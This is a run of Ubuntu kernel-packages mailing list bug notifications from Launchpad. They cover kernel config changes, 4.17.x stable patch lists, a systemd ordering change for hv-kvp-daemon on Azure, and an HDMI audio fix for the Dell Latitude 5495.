Artful is EOL. ** Also affects: linux (Ubuntu Artful) Importance: Undecided Status: New ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: linux (Ubuntu Cosmic) Importance: High Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Incomplete ** Changed in: linux (Ubuntu Artful) Status: New => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1772516 Title: [Config] enable EDAC_DEBUG on ARM64 Status in linux package in Ubuntu: Incomplete Status in linux source package in Artful: Invalid Status in linux source package in Bionic: New Status in linux source package in Cosmic: Incomplete Bug description: [Impact] Testing EDAC requires EDAC_DEBUG to be enabled. ARM64 server customers currently need to rebuild Ubuntu kernels with this config option to test EDAC support. [Fix] Enable EDAC_DEBUG config option in the kernel. [Test] [Regression Potential] None. Limited to ARM64 architecture. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1772516/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782557] Re: linux-gcp: add a signed kernel
** Changed in: linux-gcp (Ubuntu Xenial) Status: In Progress => Fix Committed ** Changed in: linux-gcp (Ubuntu Bionic) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1782557 Title: linux-gcp: add a signed kernel Status in linux-gcp package in Ubuntu: Confirmed Status in linux-gcp source package in Xenial: Fix Committed Status in linux-gcp source package in Bionic: Fix Committed Bug description: We need the kernel binaries to be signed. Switch this on. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-gcp/+bug/1782557/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784634] [NEW] Cosmic update to 4.17.10 stable release
Public bug reported:
SRU Justification
Impact:
The upstream process for stable tree updates is quite similar
in scope to the Ubuntu SRU process, e.g., each patch has to
demonstrably fix a bug, and each patch is vetted by upstream
by originating either directly from a mainline/stable Linux tree or
a minimally backported form of that patch. The 4.17.10 upstream stable
patch set is now available. It should be included in the Ubuntu
kernel as well.
git://git.kernel.org/
TEST CASE: TBD
The following patches from the 4.17.10 stable release shall be
applied:
50f9e029a6f9 Linux 4.17.10
1e5e3acc86c8 xhci: Fix perceived dead host due to runtime suspend race with
event handler
fd3702ec5d2d cxl_getfile(): fix double-iput() on alloc_file() failures
a242b5c4cd3a drm_mode_create_lease_ioctl(): fix open-coded filp_clone_open()
3e354dd0a309 alpha: fix osf_wait4() breakage
c7c57d4b809a net: usb: asix: replace mii_nway_restart in resume path
c3c8f32cb824 ipv6: make DAD fail with enhanced DAD when nonce length differs
87389c0afe5d net: systemport: Fix CRC forwarding check for SYSTEMPORT Lite
aa0c60dcc428 net/mlx4_en: Don't reuse RX page when XDP is set
6af4a29f8040 net: aquantia: vlan unicast address list correct handling
7933909aa37f hv_netvsc: Fix napi reschedule while receive completion is busy
3d706d785463 sctp: fix the issue that pathmtu may be set lower than MINSEGMENT
1ef66ca6fc04 sctp: introduce sctp_dst_mtu
41822076f67f net: ip6_gre: get ipv6hdr after skb_cow_head()
de3896afb537 tg3: Add higher cpu clock for 5762.
f7edf5b73016 sch_fq_codel: zero q->flows_cnt when fq_codel_init fails
2fb78678d136 rhashtable: add restart routine in rhashtable_free_and_destroy()
fbc3f8dd3d76 qmi_wwan: add support for Quectel EG91
7e6d5d531f87 ptp: fix missing break in switch
feb31042cf45 net: phy: fix flag masking in __set_phy_supported
eefbcaa3f545 net/ipv6: Do not allow device only routes via the multipath API
410570f9d797 net/ipv4: Set oif in fib_compute_spec_dst
f7939f3c0a83 skbuff: Unconditionally copy pfmemalloc in __skb_clone()
8b5084610f4a net: Don't copy pfmemalloc flag in __copy_skb_header()
7d28b71d05f0 net: diag: Don't double-free TCP_NEW_SYN_RECV sockets in tcp_abort
561478584f8f lib/rhashtable: consider param->min_size when setting initial
table size
677f3c02b57a ipv6: ila: select CONFIG_DST_CACHE
684f3623927f ipv6: fix useless rol32 call on hash
3e895f9786d9 ipv4: Return EINVAL when ping_group_range sysctl doesn't map to
user ns
2e84740b0439 gen_stats: Fix netlink stats dumping in the presence of padding
44c7b7c90d1d drm/nouveau: Avoid looping through fake MST connectors
c89b8c6f8dd3 drm/nouveau: Use drm_connector_list_iter_* for iterating connectors
99701888bc06 drm/nouveau: Remove bogus crtc check in pmops_runtime_idle
9168c089a212 Revert "drm/amd/display: Don't return ddc result and read_bytes in
same return value"
81dd92f5fab9 drm/i915: Fix hotplug irq ack on i965/g4x
e11afb7badb8 drm/amdgpu: Reserve VM root shared fence slot for command
submission (v3)
dbe7420980c7 powerpc/powernv: Fix save/restore of SPRG3 on entry/exit from stop
(idle)
7d847e18bc8c stop_machine: Disable preemption when waking two stopper threads
0a40ad277cfd vfio/spapr: Use IOMMU pageshift rather than pagesize
4218d03f3505 vfio/pci: Fix potential Spectre v1
02a0f9adbf42 cpufreq: intel_pstate: Register when ACPI PCCH is present
2defc1c00db7 mm/huge_memory.c: fix data loss when splitting a file pmd
214a9fcd0554 mm: memcg: fix use after free in mem_cgroup_iter()
47a8d7bb8c35 ARC: mm: allow mprotect to make stack mappings executable
d94c1605ec79 ARC: configs: Remove CONFIG_INITRAMFS_SOURCE from defconfigs
3c23a42e6a2d ARC: Fix CONFIG_SWAP
d68ac6cba419 ARCv2: [plat-hsdk]: Save accl reg pair by default
e98863e74502 ALSA: hda: add mute led support for HP ProBook 455 G5
0cae4b483f27 ALSA: hda/realtek - Yet another Clevo P950 quirk entry
96b120fa8fe1 ALSA: hda/realtek - Add Panasonic CF-SZ6 headset jack quirk
f5f3789f1929 ALSA: rawmidi: Change resized buffers atomically
44bbcf08aba0 fat: fix memory allocation failure handling of match_strdup()
cf42670fe67f x86/MCE: Remove min interval polling limitation
16b2d5ad46f7 x86/events/intel/ds: Fix bts_interrupt_threshold alignment
822e65c0beea x86/apm: Don't access __preempt_count with zeroed fs
7d606a69d987 x86/kvmclock: set pvti_cpu0_va after enabling kvmclock
7bb53f0cf030 x86/kvm/vmx: don't read current->thread.{fs,gs}base of legacy tasks
088827be904a KVM: VMX: Mark VMXArea with revision_id of physical CPU even when
eVMCS enabled
36ea7aed04cc KVM: irqfd: fix race between EPOLLHUP and
irq_bypass_register_consumer
0e884c939420 KVM/Eventfd: Avoid crash when assign and deassign specific eventfd
in parallel.
db1f278abb24 scsi: qla2xxx: Fix NULL pointer dereference for fcport search
cbff7f129d34 scsi: qla2xxx: Fix kernel crash due to late workqueue allocation
8d7555604d3a scsi: qla2xxx: Fix inconsistent DMA mem all
[Kernel-packages] [Bug 1784636] [NEW] Cosmic update to 4.17.11 stable release
Public bug reported: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The 4.17.11 upstream stable patch set is now available. It should be included in the Ubuntu kernel as well. git://git.kernel.org/ TEST CASE: TBD The following patches from the 4.17.11 stable release shall be applied: 84d52eb065f1 Linux 4.17.11 f51e215526f4 can: m_can.c: fix setup of CCCR register: clear CCCR NISO bit before checking can.ctrlmode 467b5b425594 can: m_can: Fix runtime resume call 432a41211834 can: peak_canfd: fix firmware < v3.3.0: limit allocation to 32-bit DMA addr only 02a776fe7694 can: xilinx_can: fix RX overflow interrupt not being enabled 43b08fda3690 can: xilinx_can: fix incorrect clear of non-processed interrupts f2285b33b01a can: xilinx_can: keep only 1-2 frames in TX FIFO to fix TX accounting bc85f6ccdff0 can: xilinx_can: fix device dropping off bus on RX overrun 03145be6c4f3 can: xilinx_can: fix recovery from error states not being propagated 56d8607730c3 can: xilinx_can: fix power management handling def8fd91c741 can: xilinx_can: fix RX loop if RXNEMP is asserted without RXOK d611778e88ce driver core: Partially revert "driver core: correct device's shutdown order" 73fd6967f15f ACPICA: AML Parser: ignore dispatcher error status during table load 317398f18426 usb: gadget: f_fs: Only return delayed status when len is 0 af40ab8d323e usb: gadget: Fix OS descriptors support ab7e6f96127e usb: xhci: Fix memory leak in xhci_endpoint_reset() 45972a24880d usb: dwc2: Fix DMA alignment to start at allocated boundary 1c3f4852574d usb: core: handle hub C_PORT_OVER_CURRENT condition 16cefd1089d6 usb: cdc_acm: Add quirk for Castles VEGA3000 4f0446f7faa5 staging: speakup: fix wraparound in uaccess length check f5d4355c942d Revert "staging:r8188eu: Use lib80211 to support TKIP" 840e03915bcd tcp: add tcp_ooo_try_coalesce() helper 9ad090e6d0ee tcp: call tcp_drop() from tcp_data_queue_ofo() 81a4582f7dc8 tcp: detect malicious patterns in tcp_collapse_ofo_queue() 4971f342bd35 tcp: avoid collapses in tcp_prune_queue() if possible db11182a1e38 tcp: free batches of packets in tcp_prune_ofo_queue() 786f9eb0c5de vxlan: fix default fdb entry netlink notify ordering during netdev create d50a42ed3c12 vxlan: make netlink notify in vxlan_fdb_destroy optional 6982c015011a vxlan: add new fdb alloc and create helpers fc5bf0e5f29b rtnetlink: add rtnl_link_state check in rtnl_configure_link cfe647dde972 net/mlx5: Adjust clock overflow work period 4758cb523477 net/mlx5e: Fix quota counting in aRFS expire flow 34d40b06224b net/mlx5e: Don't allow aRFS for encapsulated packets a46fa1c77d65 net/ipv6: Fix linklocal to global address with VRF a45dad6235f2 multicast: do not restore deleted record source filter mode to new one 129cb3109545 net: phy: consider PHY_IGNORE_INTERRUPT in phy_start_aneg_priv 8c9cd50bbc68 sock: fix sg page frag coalescing in sk_alloc_sg 3313c38be9f4 nfp: flower: ensure dead neighbour entries are not offloaded dead7d65a7c6 net/mlx5e: Refine ets validation function 457b3b57d881 net/mlx5e: Only allow offloading decap egress (egdev) flows 4b4dbb26d2be net/mlx5e: Add ingress/egress indication for offloaded TC flows c049fc66cca2 tls: check RCV_SHUTDOWN in tls_wait_data 109c03ba6c4e r8169: restore previous behavior to accept BIOS WoL settings 4cdc4ccc8f94 net/mlx5: E-Switch, UBSAN fix undefined behavior in mlx5_eswitch_mode afaf0f83261d tcp: do not delay ACK in DCTCP upon CE status change 5a2ebffa878d tcp: do not cancel delay-AcK on DCTCP special ACK ab677b6be87f tcp: helpers to send special DCTCP ack b1f6730440a2 tcp: fix dctcp delayed ACK schedule 0d75a23fdec1 net: skb_segment() should not return NULL 8b0fe96d33d4 net-next/hinic: fix a problem in hinic_xmit_frame() 254b7df2a24a net/mlx4_core: Save the qpn from the input modifier in RST2INIT wrapper 63cd2f033683 net: dsa: mv88e6xxx: fix races between lock and irq freeing f826037208e0 ip: in cmsg IP(V6)_ORIGDSTADDR call pskb_may_pull 492589c0d82d ip: hash fragments consistently e5f7f68b4054 bonding: set default miimon value for non-arp modes if not set 003877f5f193 clk: meson-gxbb: set fclk_div2 as CLK_IS_CRITICAL 15f08f48ac61 drm/nouveau: Set DRIVER_ATOMIC cap earlier to fix debugfs 74930a2dca9a drm/nouveau/drm/nouveau: Fix runtime PM leak in nv50_disp_atomic_commit() 970e28cb2c7a KVM: PPC: Check if IOMMU page is contained in the pinned physical page 7ef8ee71480d xen/PVH: Set up GS segment for stack canary 2969adb2891e clk: aspeed: Support HPLL strapping on ast2400 94996717eddd clk: aspeed: Mark bclk (PCIe) and dclk (VGA) as critical 5f5e829394a2 clk: mvebu: armada-37xx-periph: Fix switching CPU rate from 300Mhz to 1.
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
** Changed in: linux (Ubuntu Artful) Status: In Progress => Won't Fix ** Changed in: linux (Ubuntu Zesty) Status: In Progress => Won't Fix ** Changed in: linux (Ubuntu Xenial) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Zesty: Won't Fix Status in linux source package in Artful: Won't Fix Status in linux source package in Bionic: In Progress Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, xen, etc.) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782689] Re: HDMI/DP audio can't work on the laptop of Dell Latitude 5495
** Changed in: linux (Ubuntu Bionic) Status: New => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1782689 Title: HDMI/DP audio can't work on the laptop of Dell Latitude 5495 Status in HWE Next: New Status in linux package in Ubuntu: Incomplete Status in linux-oem package in Ubuntu: New Status in linux source package in Bionic: Fix Committed Status in linux-oem source package in Bionic: New Bug description: In the v2: the patchset is also sent to OEM-B since the OEM project is waiting for the patchset. The v1 introduced a building error, my investigation is shown as below: The declaration of "enum vga_switcheroo_client_id (*get_client_id)(struct pci_dev *pdev);"and the implementation of "static int nouveau_dsm_get_client_id(struct pci_dev *pdev)" exist in the kernel (bionic, artful) for a long time, but "-Werror=incompatible-pointer-types" didn't report it as an error, after applied these 2 patches, it is reported as an error, that is because the patch touches the definition of "enum vga_switcheroo_client_id", before applying these 2 patches, the vga_switcheroo_client_id includes a negative numer:VGA_SWITCHEROO_UNKNOWN_ID = -1, but after applying the patches, there is no negative number anymore in the "enum vga_swicheroo_client_id". I guess if the definition of enum includes negative number, the c compiler treat it as int type, that is why artful and bionic did not expose building error before. To fix the building error, I cherry-picked 4 more patches [3/6-6/6], and the purpose of those 4 patches is straightforward. In the v1: This bug comes from the OEM project, and the engineer Jim Qu from AMD took almost 2 weeks to investigate this problem, then he worte two patches to fix this problem and now the patches are merged to sound repository. According to Jim Qu's investigation, the root cause of this problem is: 1. there is two GPU on the system. iGPU has a audio codec for HDMI output, and dGPU is without audio codec it is only for offload rendering. 2. under runtime pm, when dGPU suspend, amdgpu will also call vgaswitchroo driver to power off audio which vgaswitchroo client is VGA_SWITCHEROO_DIS. 3. In current HDA audio driver, the iGPU's audio will register to vgaswitchroo as VGA_SWITCHEROO_DIS, therefore, the audio will be selected and powered off by runtime pm. [Impact] On the Dell Latitude 5495, If we plug a monitor with audio capability to the HDMI/DP ports, we can't find HDMI/DP audio sinks as expected, then we can't play any sound through HDMI/DP audio. [Fix] With these 6 patches, the driver will not always set vgaswicheroo clients of HDA audio as VGA_SWITCHEROO_DIS, it will set it to _DIS or _IGD with the help of callback function of DRM drivers. So on this machine, the vgaswicheroo client will be set _IGD, then it will not be powered off when discrete gpu is powered off. [Test Case] We tested plug/unplug detection and playback through HDMI/DP audio, everything works well. [Regression Potential] Very low, without these 6 patches, the vgaswitchroo client of audio will be set to _DIS unconditionally, it did not expose any problem because in the past, all the HDMI/DP audio codecs are in the discreate GPU. But on Latitude 5495, the HDMI/DP audio codec is in the integrated GPU, so we need to change the driver to let DRM driver decide if it is _DIS or _IGD, it will not introduce regression for old mahcines on old machines, the client will be set to _DIS as before. And we have tested these two patches on some old machines with two gpus like A+A, I+A and I+N, all of them worked well as before. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1782689/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
